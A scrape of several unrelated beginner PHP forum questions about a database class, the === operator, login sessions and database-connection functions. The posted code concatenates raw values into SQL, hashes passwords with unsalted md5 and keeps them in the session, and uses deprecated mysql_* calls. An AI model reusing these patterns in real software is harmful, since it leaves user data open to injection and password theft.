update($table, $set, $where){ return $this->execute("UPDATE ".$table." SET ".$set." WHERE ".$where); } function select($table, $select = "*", $where = NULL){ if(is_null($where)) $where = ""; return $this->execute("SELECT ".$select." FROM ".$table." ".$where); } } $db = new Database(DB_HOST, DB_USER, DB_PASS, DB_DB); ?> Chances are it is my email class since it was 100% written by me. The database class I had some help from a member here. What do you experts think? $a === $b if $a is equal to $b, and of the same type when would you ever need to use this operator? I mean if its not == then its going to be false so why even test if its the same type. and if it is == then in theory it has to be the same type so why test it? Am i completely over looking something? Hello guys. I'm back with a quick question that I don't seem to understand. How exactly you create a session? I know the very basics of it, and that includes: <form action="Logged.php" method="post" > <input type="text" name="User" /> <input type="password" name="Password" /> <input type="submit" value="Login" /> <input type="reset" value="Clear" /> </form> Start with my log-in form. This is called when you log-in: <?php include("config.php"); if(isset($_SESSION["Username"])) { $user = $_SESSION["Username"]; $pass = md5($_SESSION["Password"]); } else { $user = $_POST["User"]; $pass = md5($_POST["Password"]); $_SESSION['Username'] = $user; $_SESSION['Password'] = $pass; $escuser = mysql_real_escape_string($user); $escpass = mysql_real_escape_string($pass); } $result = mysql_query("SELECT * FROM testWHERE user = '$escuser'"); $num_rows = mysql_num_rows($result); if($num_rows == 0) { echo('That username does not exist...'); echo '<a href="something.php""> Go back!</a>'; unset($_SESSION['Username']); unset($_SESSION['Password']); die; } $row = mysql_fetch_row($result); if($row[1] !== $escpass) { echo('Wrong Password!...'); echo '<a href="something.php"> Go Back!</a>'; unset($_SESSION['Username']); unset($_SESSION['Password']); die; } ?> Like I said above, the very basics. On that Logged.php page ( Which I got the above code from ) does not have:<?php session_start(); ?> ^ That's what I am having trouble with. Am I supposed to add that on top of EVERY page I have? I just need a quick rough-draft on how it should be, you don't need to use my examples, I just need to see a small preview of a log-in and then you can be able to access every page WHILE still logged. Thanks. Hello all. I'm learning Object oriented php and found this simple piece of code online but i don't understand why the variable $con must be returned: Code: [Select] class Connect { public static function con() { $con=mysql_connect("localhost","root","");// Connects to DB??? mysql_query("SET NAMES 'utf8'"); // Sets charset to UTF8 mysql_select_db("blog"); // Selects the DB return $con; // Don't know why $con must be returned, but it wont work without this. } } $con is later used in the script like this from another class to run a Query: Code: [Select] mysql_query($somequery,Connect::con()); Thanks for your help. Hi everyone, It's been awhile since I've coded in PHP and I can't figure out whats wrong with my code... I have a simple function to grab a field from my database and return it. I can make it work without the function, but when I implement it as a function, it breaks - no error, just a blank page. This works fine: $page = "page_about"; $sql = "SELECT body FROM " . $page . " WHERE id=1"; $result = @mysql_query($sql,$connection) or die(mysql_error()); $row = mysql_fetch_array($result); $display = $row[0]; But this does not: function grabBody($page) { $sql = "SELECT body FROM " . $page . " WHERE id=1"; $result = @mysql_query($sql,$connection) or die(mysql_error()); $row = mysql_fetch_array($result); return $row[0]; } $display = grabBody("page_about"); If anyone has any idea whats wrong, please let me know!! Thank you, - Jeff Miller |